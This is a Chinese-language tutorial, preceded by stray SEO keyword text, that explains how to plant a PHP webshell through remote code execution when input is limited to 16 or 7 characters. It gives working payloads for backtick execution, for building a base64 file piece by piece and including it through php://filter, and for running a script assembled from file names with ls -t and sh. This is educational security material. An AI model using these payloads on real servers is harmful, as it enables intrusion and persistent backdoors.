2003网站服务器建设中,福建建设厅网站,泉州seo搜索优化合作,wordpress 关键字链接我们在写webshell时通常会遇到过滤#xff0c;但除了过滤之外还可能会有长度限制#xff0c;这里就简单说一下关于RCE突破长度限制的技巧
突破16位
例如#xff1a;PHP Eval函数参数限制在16个字符的情况下 #xff0c;如何拿到Webshell#xff1f;
?php
$param … 我们在写webshell时通常会遇到过滤但除了过滤之外还可能会有长度限制这里就简单说一下关于RCE突破长度限制的技巧
突破16位
例如PHP Eval函数参数限制在16个字符的情况下 如何拿到Webshell
?php
$param $_REQUEST[param];
if (strlen($param) 17 stripos($param, eval) false stripos($param, assert) false)
{eval($param);
}常规写法基本上是parameval($_POST[0]);或者param$_GET[0]($_POST[1]);0assert1??
但这里过滤了eval和assert第二种写法是绕过了waf但长度超过了16位也不行。
反引号
但我们知道在linux下反引号是可以执行命令的所以是否可以用$_GET[1]作为payload? 测试成功
这种方法很简单那有没有其他方法也可以突破限制呢
本地文件包含
使用文件包含的方法paraminclude$_GET[1];16个字符刚好符合但难点来了我们要包含的文件在哪
使用file_put_contents(N,p,8)
在php官网中可以看到file_put_contents第一个参数是文件名第二个参数是要传入的值第三个参数是flag8表示向文件中追加.
所以我们使用file_put_contents将webshell进行base64编码后写入文件中在文件包含这个文件不就可以执行了
那为什么要进行base64编码呢因为filr_put_contents无法对一些特殊字符进行追加所以这里需要进行base64的编码
上传写入文件
这里写一个?php phpinfo();
编码之后PD9waHAgcGhwaW5mbygpOw因为param有长度限制所以只能一位一位的写入
?param$_GET[1](N,P,8);1file_put_contents
?param$_GET[1](N,D,8);1file_put_contents
... 写入成功
包含执行
因为写入的是base64编码的值无法直接执行可以使用php://fileter伪协议对文件解码后执行
payload?paraminclude$_GET[1]1php://filter/readconvert.base64-decode/resouseN 这种方法利用难度较高但过程是非常巧妙的
突破7位
?php
$param $_REQUEST[param];
if( strlen($param) 8 )
{ echo shell_exec($param);
}这种情况怎么办之前最短的方法$_GET[1]也有10位将webshell写入文件就更不行了无法突破
文件名组合
linux创建文件
touch vim 文件名等
那是否可以将webshell拆开放在文件名里之后将文件名组合到一个新的文件中然后执行
我们创建最后执行的文件命令 echo PD9waHAgcGhwaW5mbygpOw| base64 -dc.php因为含有特殊字符无法创建文件所以这里任然需要使用base64编码
怎么组合
ls -t 以创建时间来列出当前目录下所有文件所以可以通过这种方式来组合但创建文件时需要从后往前创建同时文件列表是通过\n换行符分割的所以我们文件名最后需要加上\\来转义
将上面的这条命令拆开创建成文件
?param%3Ehp
?param%3Ec.p\\
?param%3Ed\\\
?param%3E\ -\\
?param%3Ee64\\
?param%3Ebas\\
...
文件创建成功
?paramls -t0
?paramsh 0 组合成文件0并运行 成功创建c.php
直接访问c.php 成功突破7位限制